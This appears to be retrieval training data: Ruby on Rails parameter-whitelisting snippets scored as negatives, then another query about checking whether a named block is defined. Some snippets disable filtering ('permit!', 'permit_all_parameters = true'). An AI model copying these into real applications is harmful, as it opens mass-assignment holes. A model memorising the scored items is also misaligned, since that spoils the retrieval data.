"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Checks if a particular block has been defined within the current block scope. Options: [+name+] The name of the block to check
|
def defined?(name)
!blocks[name].nil?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def defined?(name)\n !blocks[name.to_sym].nil?\n end",
"def has_block(name)\n @blocks.key?(name.to_s)\n end",
"def check_block name\n raise \"No such block: #{name}\" unless @source.key? name\n end",
"def get_block name\n name = name.to_sym\n block = @blocks.find {|b| b.name == name}\n raise \"No block found for #{name} (in #{blocks.collect{|b|b.name}.join(':')})\" unless block\n block\n end",
"def defined?(name)\n @symbols.has_key?(to_name(name)) or\n (Scope === @parent and @parent.defined?(name))\n end",
"def check(name=nil, &block)\n if name\n if block\n check_table[name] = Check::Proc.new(:name=>name, &block)\n end\n @__check__ = check_table[name]\n else\n #raise ArgumentError if block.arity == 0\n @__check__ = Check::Proc.new(&block)\n end\n end",
"def check(name)\n return true if @variables[name.to_sym]\n !!(@parent && @parent.check(name))\n end",
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def is_block?\n get_metadata(:for_block)\n end",
"def has_block(blk_hash)\n raise \"Not implemented\"\n end",
"def block_valid?(args = {})\n block = Block.find_by(id: args[:block_id])\n previous_block = block.previous_block\n neighbor_blocks_valid?(block, previous_block)\n end",
"def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end",
"def block_valid?(block)\n # ...\n end",
"def infeasible_block?(block, context = Context.empty)\n dict = @infeasible[block]\n return false unless dict\n dict[Context.empty] || (! context.empty? && dict[context])\n end",
"def use_named_scope(&block)\n lang_eval { @use_named_scope_block = block }\n nil\n end",
"def has_block_index?( *index_names )\n \n has_index = false\n \n index_names.each do |this_index_name|\n break unless has_index = block_indexes.has_key?( this_index_name )\n end\n \n return has_index\n\n end",
"def were_we_given_a_block?\n\tif block_given?\n\t\t\"WE GOT A BLOCK\"\n\telse\n\t\t\"WE DIDN'T GET A BLOCK\"\n\tend\nend",
"def check(name=:default, options={}, &block)\n @checks[name.to_sym] = Check.new(name, options, &block)\n end",
"def block_pass?\n block? && block.kind_of?(Rubinius::AST::BlockPass19)\n end",
"def check_block_id(block_id)\n return @block_id == block_id\n end",
"def contested?(block_number)\n @block_stacks[block_number].count > 1\n end",
"def knows_block(blockhash)\n return true if @chain.include?(blockhash)\n @block_queue.queue.any? {|(block, proto)| block.header.full_hash == blockhash }\n end",
"def in_scope?(name)\n ret = true if @callable.arguments_type.variable_index(name)\n ret = @callable.frame_type.variable_index(name) unless ret\n ret\n end",
"def blocks?\n !@blocks.empty?\n end",
"def local_variable_defined_for_node?(node, name)\n match(node) do |current|\n current.include?(name)\n end\n end",
"def check(name = nil, options = nil, &block)\n @checks[name] = Check.new(name, options, &block)\n end",
"def run(name=:main, options={}, &block)\n name = name.to_sym\n if !run_blocks.key? name\n options[:name] = name\n self.run_blocks[name] = [options, block]\n else\n raise NameError.new(\"Run block named #{name} already exists!\")\n end\n end",
"def block?\n !!block\n end",
"def is_block_valid?(hash)\n if @block_index.block_header_in_index?(hash)\n return true\n end\n !Toshi::Models::Block.main_or_side_branch.where(hsh: hash).empty?\n end",
"def raise_if_block(obj, name, has_block, type)\n return unless has_block\n\n puts \"Type passed in: #{type}\"\n puts \"#{obj.class}##{name} does not accept blocks\"\n\n raise Appom::UnsupportedBlockError\n end",
"def begin_block(name, opts)\n @block_name_stack << name\n @block_opts_stack << opts\n @block_break_type_stack << \"entry-break\"\n end",
"def has_named_scope?(name)\n scope_proxy.has_named_scope?(name)\n end",
"def local?(*names, &block)\n names.collect { |name| local(name) }.compact.length == names.length\n end",
"def test_block_empty\n check(C::Block, <<-EOS)\n | {\n | }\n EOS\n end",
"def include_variable?\n @blocks.values.any?{|block| block.include_variable?}\n end",
"def verify_block(&blk)\n begin\n return true if yield\n rescue\n false\n end\n end",
"def has_local( name )\n raise \"has_local #{name}.#{name.class}\" unless name.is_a? Symbol\n @frame_type.variable_index( name )\n end",
"def called_with_block?\n if block_given?\n p \"You called me with a block\"\n end\nend",
"def named_scope_begin(&block)\n lang_eval { @named_scope_begin_block = block }\n nil\n end",
"def contains_block?(block_of_time)\n if(self.start_time <= block_of_time.start_time &&\n self.end_time >= block_of_time.end_time)\n true\n else\n false\n end\n end",
"def group?(name)\n eval(GROUP_CHECK, binding, __FILE__, GROUP_CHECK_LINE)\n nil\nend",
"def is_platform_block?(key)\n raise 'No key given'.red unless key\n\n return false if (self.runner.blocks[nil][key.to_sym] rescue false)\n return true if self.runner.blocks[key.to_sym].kind_of?Hash\n\n raise \"Could not find '#{key}'. Available lanes: #{self.runner.available_lanes.join(', ')}\".red\n end",
"def exists?\n has_block? or File.exists? @source_path\n end",
"def i_check_if_block\n if block_given?\n yield\n else\n puts \"no block\"\n end\nend",
"def block_it?(tp)\n if @cond.track_params\n return true if negative_check(tp)\n if positives_check(tp)\n return !tp.binding.eval('local_variables').any? do |v|\n tp.binding.local_variable_get(v).object_id == @cond.track_params\n end\n end\n else\n return true if negative_check(tp)\n return false if positives_check(tp)\n end\n true # default is blocked the tp\n end",
"def display_parent_block(name, context, blocks = [])\n name = name.to_s\n if @traits.key?(name)\n @traits[name][0].display_block(name, context, blocks, false)\n elsif (parent = get_parent(context))\n parent.display_block(name, context, blocks, false)\n else\n raise Twig::Error::Runtime.new(sprintf('The template has no parent and no traits defining the \"%s\" block', name), -1, get_template_name)\n end\n end",
"def code_block?\n @code_block\n end",
"def candidate_block(block)\n return unless (my_index = block.parent.blocks.find_index block)\n\n next_block = block.parent.blocks[my_index + 1]\n return unless next_block && next_block.context == :pass\n\n next_block\n end",
"def defined?(name); end",
"def defined?(name); end",
"def contains(&block)\n [:contains, block]\n end",
"def contains(&block)\n [:contains, block]\n end",
"def has_local name\n raise \"has_local #{name}.#{name.class}\" unless name.is_a? Symbol\n max = self.locals.get_length\n counter = 1\n while( counter <= max )\n if( self.locals.get(counter).name == name)\n return counter\n end\n counter = counter + 1\n end\n return nil\n end",
"def block_checker\n block_given?\nend",
"def blocked?\n Rails.cache.exist?(\"block_#{@from}_#{@to}\")\n end",
"def bound_name?(name)\n type = @names[name.to_sym]\n if type.nil?\n @parent&.bound_name?(name)\n else\n type\n end\n end",
"def engine_matches?(block)\n block.binding.eval('defined? __in_erb_template')\n end",
"def ==(other)\n equal?(other) || other.is_a?(Block) && @name == other.name &&\n @body == other.body && @location == other.location\n end",
"def block_is_type?(block)\n is_type? || (block && eval('defined?(__in_erb_template)', block.binding))\n end",
"def blocks?(hash={})\n not(allows?(hash))\n end",
"def block_valid?(block, difficulty = 4)\n block.valid?(difficulty) &&\n block.parent_digest == head_digest &&\n balances([block]).none? { |user, balance| balance < 0 }\n end",
"def supports_block_expectations?\n true\n end",
"def validate_block(block)\n # check block ready conditions\n # 1. parent block must already be accepted.\n parent_block = get_block(block.parent_hash)\n raise BlockNotReadyError.new(\"can't find parent block by hash #{block.parent_hash.to_hex}\") unless parent_block\n # TODO 2. pow_chain_ref block must already be accepted.\n # 3. local time must greater or equal than minimum timestamp.\n unless (local_timestamp = Time.now.to_i) >= (minimum_timestamp = genesis_time + block.slot_number * SLOT_DURATION)\n raise BlockNotReadyError.new(\"local_timestamp(#{local_timestamp}) must greater than or equal with minimum_timestamp(#{minimum_timestamp})\")\n end\n end",
"def get_frame(block_name, frame)\n if frame[:vlocks].has_key?(block_name)\n frame\n elsif frame[:parent_frame]\n get_frame(block_name, frame[:parent_frame])\n end\n end",
"def active_block\n current_case ? blocks[current_case] : default\n end",
"def condition(name, msg=nil, &block)\n raise ArgumentError, \"no condition block given\" unless block_given?\n conditions[name] = [msg, block]\n end",
"def block?\n block_tag? || block_body? || document?\n end",
"def executing?(name)\n !stack(name).empty?\n end",
"def fetch(block_name)\n @names[block_name.to_s] || []\n end",
"def haveNode?(name)\n lock\n read\n @inv.values.each { |nodes|\n if nodes.include?(name)\n unlock\n return true\n end\n }\n unlock\n false\n end",
"def define(*args, &block)\n options = args.extract_options!\n\n name = if args.first\n args.shift\n else\n anonymous = true\n self.anonymous_block_number += 1\n \"anonymous_block_#{anonymous_block_number}\"\n end\n\n block_definitions[name].tap do |block_definition|\n block_definition.reverse_merge! options, &block\n block_definition.anonymous = !!anonymous\n end\n end",
"def valid()\n if (@block) then @block.call(true) end\n end",
"def within(arg, options={:level => :error})\n\t\t\t\tvalidate(\"Macro '#{@name}' must be within a '#{arg}' macro\", options) do \n\t\t\t\t\t@node.find_parent {|n| Glyph.macro_eq? arg.to_sym, n[:name]}\n\t\t\t\tend\n\t\t\tend",
"def block_checker(param) \n [ param , block_given? ]\nend",
"def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end",
"def block_given?() end",
"def before(name, options={}, &block)\n self.add_block_container_to_list(\"before_#{name.to_s}\", options, &block)\n nil\n end",
"def not_within(arg, options={:level => :error})\n\t\t\t\tvalidate(\"Macro '#{@name}' must not be within a '#{arg}' macro\", options) do \n\t\t\t\t\t!@node.find_parent {|n| Glyph.macro_eq? arg.to_sym, n[:name]}\n\t\t\t\tend\n\t\t\tend",
"def available_variable?(name)\n # if the current scope is already using the variable, it's\n # unavailable.\n return false if variable?(name)\n\n # if any of the child scopes reference the variable as a\n # parent variable, it's not available.\n !any_child_references_parent_variable?(name)\n end",
"def local_variable_defined_for_node?(node, name); end",
"def around(name, options={}, &block)\n self.add_block_container_to_list(\"around_#{name.to_s}\", options, &block)\n nil\n end",
"def block_exists(user_or_params)\n args = [user_or_params]\n get path_from_args('block/exists', args), params_from_args(args)\n end",
"def check_block\n finished = @finishable.nil? or @finishable.is_finished?\n puts finished\n if finished\n @finishable, @blocked = nil, false\n return @blocked\n end\n \n @blocked = !finished\n end",
"def assert_not_cache_fragments(*names)\n \n fragment_cache_store.clear\n \n yield *names\n \n # if there is no variable @controller, then we haven't done any request\n raise NoRequestInBlockError.new(\"no request was send while executing block.\") if @controller.nil?\n \n names.each do |name|\n assert_block(\"#{name.inspect} is cached after executing block\") do\n !fragment_cache_store.written?(@controller.fragment_cache_key(name))\n end\n end\n \n fragment_cache_store.clear\n\n end",
"def name=(newName)\n return if name == newName.to_s\n @blockType = BlockType[newName]\n end",
"def callback_defined?(name, *args)\n callback_method_name = args[0].in?([:before, :after, :around]) ? args[1] : args[0]\n self.send(\"_#{name}_callbacks\").collect(&:filter).include?(callback_method_name)\n end",
"def block_name \n :CodeBlock \n end",
"def block_name \n :CodeBlock \n end",
"def namespace name\n if String === name\n return unless test?(name.to_s)\n else\n if @@namespaces[name]\n return unless instance_exec &@@namespaces[name]\n nav.shift\n else\n raise ArgumentError.new('Namespace block :%s is not defined' % name)\n end\n end\n\n yield\n\n raise Lux::Error.not_found(\"Namespace <b>:#{name}</b> matched but nothing is called\")\n end",
"def it(name, &block)\n test(\"it \" + name, &block)\n end",
"def iterating_block?(node)\n name = block_method_name(node)\n name && iterating_method?(name)\n end",
"def has_var name\n raise \"has_var #{name}.#{name.class}\" unless name.is_a? Symbol\n index = has_arg(name)\n return index if index\n has_local(name)\n end",
"def last_block?\n return @last_block\n end",
"def verify_block_num\r\n unless @block_number == @@total_block_number\r\n raise \"Line #{@@total_block_number}: invalid block number #{@block_number}, should be #{@@total_block_number}\"\r\n\r\n end\r\n\r\n true\r\n end",
"def check(name=nil)\n env = env(name)\n env.index == env.lookup_index\n end",
"def examine_block\n if accepted?\n worker && worker.report_accepted_block(self)\n end\n true\n end",
"def blockFun2(arg1, &aBlock)\n if aBlock\n aBlock.call(arg1)\n \"HAVE BLOCK\"\n else\n \"NO BLOCK\"\n end\nend",
"def blocked?(id, blocked_id, scope = Amico.default_scope_key)\n !Amico.redis.zscore(\"#{Amico.namespace}:#{Amico.blocked_key}:#{scope}:#{id}\", blocked_id).nil?\n end",
"def ident_check sym\n valid, scope = @stack.search sym, true\n NamingError.log(\"Line #{sym.line_number}: No identifier '#{sym.text}' in current scope '#{@current_level}'\") if !valid\n \n scope\n end",
"def display_block(name, context, blocks = {}, use_blocks = true)\n name = name.to_s\n if use_blocks && blocks.key?(name)\n template = blocks[name][0]\n block = blocks[name][1]\n elsif @blocks.key?(name)\n template = @blocks[name][0]\n block = @blocks[name][1]\n else\n template = nil\n block = nil\n end\n\n if !template.nil?\n # avoid RCEs when sandbox is enabled\n unless template.is_a?(Twig::Template)\n raise LogicException.new('A block must be a method on a Twig::Template instance.')\n end\n begin\n template.send(block.to_sym, context, blocks)\n rescue Twig::Error => ex\n unless ex.get_template_file\n ex.set_template_file(template.get_template_name)\n end\n # this is mostly useful for Twig::Error::Loader exceptions\n # see Twig::Error::Loader\n unless ex.get_template_line\n ex.set_template_line(-1)\n ex.guess\n end\n raise ex\n rescue => ex\n raise Twig::Error::Runtime.new(\"An exception has been thrown during the rendering of a template (\\\"#{ex.message}\\\").\", -1, template.get_template_name, ex)\n end\n elsif (false != parent = get_parent(context))\n parent.display_block(name, context, @blocks.merge(blocks), false)\n end\n end"
] |
[
"0.7929647",
"0.7727793",
"0.7575643",
"0.648453",
"0.6267494",
"0.6252901",
"0.6176375",
"0.61619455",
"0.61015606",
"0.6094068",
"0.58873636",
"0.5861491",
"0.58416367",
"0.578623",
"0.57466495",
"0.57462734",
"0.57136166",
"0.5701837",
"0.5625596",
"0.56244653",
"0.5624341",
"0.5617396",
"0.5609029",
"0.56068116",
"0.559878",
"0.55942863",
"0.5572535",
"0.553745",
"0.55205536",
"0.54657555",
"0.5450198",
"0.5449965",
"0.54192895",
"0.5403407",
"0.53997904",
"0.5372967",
"0.5327951",
"0.52906287",
"0.5275847",
"0.52672446",
"0.526087",
"0.52389574",
"0.52149945",
"0.5214544",
"0.5199621",
"0.5199251",
"0.5194142",
"0.5187213",
"0.5179772",
"0.5179772",
"0.51788914",
"0.51788914",
"0.51787066",
"0.5175498",
"0.51741576",
"0.51709205",
"0.515195",
"0.51482695",
"0.51320726",
"0.51169014",
"0.51129085",
"0.5100417",
"0.510041",
"0.5087036",
"0.5071326",
"0.5067107",
"0.50653505",
"0.5062559",
"0.5058443",
"0.5056816",
"0.5055432",
"0.50548935",
"0.5048756",
"0.50441384",
"0.5034997",
"0.5032964",
"0.5020818",
"0.5020357",
"0.50149435",
"0.50012904",
"0.49988312",
"0.49885333",
"0.4987977",
"0.4986751",
"0.49800074",
"0.49792397",
"0.49699527",
"0.49699527",
"0.49683243",
"0.49645725",
"0.49605975",
"0.4956714",
"0.49492815",
"0.49482745",
"0.4945103",
"0.49407926",
"0.49406236",
"0.49336097",
"0.49297702",
"0.49224898"
] |
0.79147595
|
1
|
Define a block, unless a block by the same name is already defined. "1", :parameter2 => "2" do |options| %> and Options: [+name+] The name of the block being defined (either a string or a symbol or a Proc) [+options+] The default options for the block definition. Any or all of these options may be overridden by whomever calls "blocks.render" on this block. If :collection => some_array, Blocks will assume that the first argument is a Proc and define a block for each object in the collection [+block+] The block that is to be rendered when "blocks.render" is called for this block.
|
def define(name, options={}, &block)
collection = options.delete(:collection)
if collection
collection.each do |object|
define(call_with_params(name, object, options), options, &block)
end
else
self.define_block_container(name, options, &block)
end
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def define(*args, &block)\n options = args.extract_options!\n\n name = if args.first\n args.shift\n else\n anonymous = true\n self.anonymous_block_number += 1\n \"anonymous_block_#{anonymous_block_number}\"\n end\n\n block_definitions[name].tap do |block_definition|\n block_definition.reverse_merge! options, &block\n block_definition.anonymous = !!anonymous\n end\n end",
"def blocks(options = {}, &block)\n block_objects(options.merge(object: :blocks), block)\n end",
"def define_block_container(*args, &block)\n block_container = self.build_block_container(*args, &block)\n blocks[block_container.name] = block_container if blocks[block_container.name].nil? && block_given?\n block_container\n end",
"def block(name=\"block\", &proc)\n gen = self.class.new(@library, @module, @function, @function.add_block(name))\n gen.instance_eval(&proc)\n return gen\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def block name, processor, delimiter = nil, &block\n processor = resolve_processor_class processor\n @blocks[name] = processor\n if block_given?\n @block_delimiters[block] = name\n elsif delimiter && delimiter.is_a?(Regexp)\n @block_delimiters[delimiter] = name\n end\n end",
"def add(name, &block)\n blocks[name.to_sym] = block\n end",
"def replace(name, options={}, &block)\n blocks[name] = nil\n self.define_block_container(name, options, &block)\n nil\n end",
"def add_block name, hash\n\t\t\t@blocks ||= {}\n\t\t\t@blocks[name] = hash\n\t\tend",
"def block\n options.fetch(:block)\n end",
"def define &block\n new block\n end",
"def replace(name, options={}, &block)\n block_definitions.delete(name)\n define(name, options, &block)\n end",
"def block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] ||= value\n return self._template.blocks[name]\n end",
"def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end",
